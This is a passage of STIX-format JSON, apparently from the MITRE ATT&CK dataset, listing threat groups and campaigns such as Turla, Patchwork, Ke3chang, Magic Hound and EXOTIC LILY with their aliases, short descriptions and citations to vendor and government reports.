"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}, {"source_name": "CrowdStrike VENOMOUS BEAR", "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Secureworks IRON HUNTER Profile", "description": "Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022.", "url": "http://www.secureworks.com/research/threat-profiles/iron-hunter"}, {"source_name": "Symantec Waterbug", "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"}, {"source_name": "WhiteBear", "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)(Citation: Talos TinyTurla September 2021)"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["Suckfly"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "intrusion-set", "id": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", "created": "2017-05-31T21:32:06.777Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "G0039", "url": "https://attack.mitre.org/groups/G0039"}, {"source_name": "Suckfly", "description": "(Citation: Symantec Suckfly March 2016) (Citation: Symantec Suckfly May 2016)"}, {"source_name": "Symantec Suckfly March 2016", "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates", "description": "DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016."}, {"source_name": "Symantec Suckfly May 2016", "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks", "description": "DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)", "modified": "2022-04-15T16:27:38.682Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Suckfly", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-05T15:54:36.557Z", "name": "CostaRicto", "description": "[CostaRicto](https://attack.mitre.org/campaigns/C0004) was a suspected hacker-for-hire cyber espionage campaign that targeted multiple industries worldwide, with a large number being financial institutions. [CostaRicto](https://attack.mitre.org/campaigns/C0004) actors targeted organizations in Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia (especially India, Bangladesh, and Singapore), using custom malware, open source tools, and a complex network of proxies and SSH tunnels.(Citation: BlackBerry CostaRicto November 2020)", "aliases": ["CostaRicto"], "first_seen": "2019-10-01T04:00:00.000Z", "last_seen": "2020-11-01T04:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: BlackBerry CostaRicto November 2020)", "x_mitre_last_seen_citation": "(Citation: BlackBerry CostaRicto November 2020)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "campaign", "id": "campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6", "created": "2022-09-15T17:25:38.020Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0004", "external_id": "C0004"}, {"source_name": "BlackBerry CostaRicto November 2020", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"modified": "2024-04-10T22:34:04.070Z", "name": "TeamTNT", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. 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[Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)", "aliases": ["Patchwork", "Hangover Group", "Dropping Elephant", "Chinastrats", "MONSOON", "Operation Hangover"], "x_mitre_deprecated": false, "x_mitre_version": "1.5", "type": "intrusion-set", "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "created": "2017-05-31T21:32:07.145Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0040", "external_id": "G0040"}, {"source_name": "Patchwork", "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"}, {"source_name": "Chinastrats", "description": "(Citation: Securelist Dropping Elephant)"}, {"source_name": "Dropping Elephant", "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"}, {"source_name": "Hangover Group", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)"}, {"source_name": "Cymmetria Patchwork", "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", "url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"}, {"source_name": "Operation Hangover May 2013", "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.", "url": "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf"}, {"source_name": "Symantec Patchwork", "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"}, {"source_name": "Unit 42 BackConfig May 2020", "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). 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Retrieved March 31, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}, {"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}, {"source_name": "Volexity Patchwork June 2018", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}, {"source_name": "MONSOON", "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. 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(2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50"}, {"source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}, {"source_name": "Leonard TAG 2023", "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}, {"source_name": "US District Court Indictment GRU Oct 2018", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. 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Retrieved September 13, 2018.", "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/"}, {"source_name": "TrendMicro Pawn Storm Dec 2020", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"}, {"source_name": "Securelist Sofacy Feb 2018", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. 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Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020", "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.", "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/"}, {"source_name": "Microsoft STRONTIUM Aug 2019", "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. 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Based on victimology, the short lifespan of each ransomware variant, and use of malware attributed to government-sponsored threat groups, [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) may be motivated by intellectual property theft or cyberespionage rather than financial gain.(Citation: Microsoft Ransomware as a Service)(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Trend Micro Cheerscrypt May 2022)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)", "aliases": ["Cinnamon Tempest", "DEV-0401", "Emperor Dragonfly", "BRONZE STARLIGHT"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "intrusion-set", "id": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "created": "2023-12-06T19:53:04.988Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1021", "external_id": "G1021"}, {"source_name": "BRONZE STARLIGHT", "description": "(Citation: Dell SecureWorks BRONZE STARLIGHT Profile)"}, {"source_name": "DEV-0401", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Emperor Dragonfly", "description": "(Citation: Sygnia Emperor Dragonfly October 2022)"}, {"source_name": "Sygnia Emperor Dragonfly October 2022", "description": "Biderman, O. et al. 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[HEXANE](https://attack.mitre.org/groups/G1001)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0064) and [OilRig](https://attack.mitre.org/groups/G0049) but due to differences in victims and tools it is tracked as a separate entity.(Citation: Dragos Hexane)(Citation: Kaspersky Lyceum October 2021)(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)", "aliases": ["HEXANE", "Lyceum", "Siamesekitten", "Spirlin"], "x_mitre_deprecated": false, "x_mitre_version": "2.2", "x_mitre_contributors": ["Dragos Threat Intelligence", "Mindaugas Gudzis, BT Security"], "type": "intrusion-set", "id": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1001", "external_id": "G1001"}, {"source_name": "Spirlin", "description": "(Citation: Accenture Lyceum Targets November 2021)"}, {"source_name": "Siamesekitten", "description": "(Citation: ClearSky Siamesekitten August 2021)"}, {"source_name": "Lyceum", "description": "(Citation: SecureWorks August 2019)"}, {"source_name": "Accenture Lyceum Targets November 2021", "description": "Accenture. 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[Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)", "aliases": ["Ke3chang", "APT15", "Mirage", "Vixen Panda", "GREF", "Playful Dragon", "RoyalAPT", "NICKEL", "Nylon Typhoon"], "x_mitre_deprecated": false, "x_mitre_version": "3.0", "x_mitre_contributors": ["Pooja Natarajan, NEC Corporation India", "Manikantan Srinivasan, NEC Corporation India", "Hiroki Nagahama, NEC Corporation"], "type": "intrusion-set", "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "created": "2017-05-31T21:31:47.177Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0004", "external_id": "G0004"}, {"source_name": "RoyalAPT", "description": "(Citation: APT15 Intezer June 2018)"}, {"source_name": "NICKEL", "description": "(Citation: Microsoft NICKEL December 2021)"}, {"source_name": "Nylon Typhoon", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "APT15", "description": "(Citation: NCC Group APT15 Alive and Strong)"}, {"source_name": "Mirage", "description": "(Citation: NCC Group APT15 Alive and Strong)"}, {"source_name": "GREF", "description": "(Citation: NCC Group APT15 Alive and Strong)"}, {"source_name": "Vixen Panda", "description": "(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"}, {"source_name": "Playful Dragon", "description": "(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"}, {"source_name": "Ke3chang", "description": "(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . 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Retrieved November 12, 2014.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-09-19T20:08:40.243Z", "name": "Honeybee", "description": "[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. 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Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T04:50:51.782Z", "name": "Leafminer", "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. 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They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)", "aliases": ["Magic Hound", "TA453", "COBALT ILLUSION", "Charming Kitten", "ITG18", "Phosphorus", "Newscaster", "APT35", "Mint Sandstorm"], "x_mitre_deprecated": false, "x_mitre_version": "6.0", "x_mitre_contributors": ["Anastasios Pingios", "Bryan Lee", "Daniyal Naeem, BT Security"], "type": "intrusion-set", "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0059", "external_id": "G0059"}, {"source_name": "Charming Kitten", "description": "(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"}, {"source_name": "APT35", "description": "(Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)(Citation: Check Point APT35 CharmPower January 2022)"}, {"source_name": "ITG18", "description": "(Citation: IBM ITG18 2020)"}, {"source_name": "Phosphorus", "description": "(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022)"}, {"source_name": "Mint Sandstorm", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "TA453", "description": "(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022)"}, {"source_name": "COBALT ILLUSION", "description": "(Citation: Secureworks COBALT ILLUSION Threat Profile)"}, {"source_name": "Magic Hound", "description": "(Citation: Unit 42 Magic Hound Feb 2017)"}, {"source_name": "Microsoft Phosphorus Mar 2019", "description": "Burt, T. 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(2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}, {"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}, {"source_name": "CrowdStrike SUNSPOT Implant January 2021", "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"}, {"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}, {"source_name": "GRIZZLY STEPPE JAR", "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"}, {"source_name": "FireEye APT29 Nov 2018", "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}, {"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}, {"source_name": "ESET Dukes October 2019", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}, {"source_name": "FireEye SUNBURST Backdoor December 2020", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}, {"source_name": "SentinelOne NobleBaron June 2021", "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.", "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"}, {"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Microsoft Unidentified Dec 2018", "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.", "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}, {"source_name": "MSTIC NOBELIUM May 2021", "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}, {"source_name": "MSRC Nobelium June 2021", "description": "MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.", "url": "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/"}, {"source_name": "MSTIC Nobelium Toolset May 2021", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"}, {"source_name": "MSTIC NOBELIUM Mar 2021", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}, {"source_name": "NCSC APT29 July 2020", "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.", "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf"}, {"source_name": "Cybersecurity Advisory SVR TTP May 2021", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. 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Retrieved September 24, 2020.", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html"}, {"source_name": "Secureworks IRON HEMLOCK Profile", "description": "Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.", "url": "http://www.secureworks.com/research/threat-profiles/iron-hemlock"}, {"source_name": "Secureworks IRON RITUAL Profile", "description": "Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.", "url": "https://www.secureworks.com/research/threat-profiles/iron-ritual"}, {"source_name": "UK Gov Malign RIS Activity April 2021", "description": "UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . 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Retrieved April 16, 2021.", "url": "https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-24T18:48:18.917Z", "name": "EXOTIC LILY", "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) is a financially motivated group that has been closely linked with [Wizard Spider](https://attack.mitre.org/groups/G0102) and the deployment of ransomware including [Conti](https://attack.mitre.org/software/S0575) and [Diavol](https://attack.mitre.org/software/S0659). [EXOTIC LILY](https://attack.mitre.org/groups/G1011) may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021.(Citation: Google EXOTIC LILY March 2022)", "aliases": ["EXOTIC LILY"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_contributors": ["Phill Taylor, BT Security"], "type": "intrusion-set", "id": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "created": "2022-08-18T15:25:59.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1011", "external_id": "G1011"}, {"source_name": "Google EXOTIC LILY March 2022", "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. 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(2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}, {"source_name": "US District Court Indictment GRU Oct 2018", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", "url": "https://www.justice.gov/opa/page/file/1098481/download"}, {"source_name": "Dragos ELECTRUM", "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", "url": "https://www.dragos.com/resource/electrum/"}, {"source_name": "F-Secure BlackEnergy 2014", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"}, {"source_name": "iSIGHT Sandworm 2014", "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html"}, {"source_name": "CrowdStrike VOODOO BEAR", "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Microsoft Prestige ransomware October 2022", "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}, {"source_name": "InfoSecurity Sandworm Oct 2014", "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/"}, {"source_name": "NCSC Sandworm Feb 2020", "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory"}, {"source_name": "USDOJ Sandworm Feb 2020", "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.", "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html"}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", "url": "https://www.justice.gov/opa/press-release/file/1328521/download"}, {"source_name": "Secureworks IRON VIKING 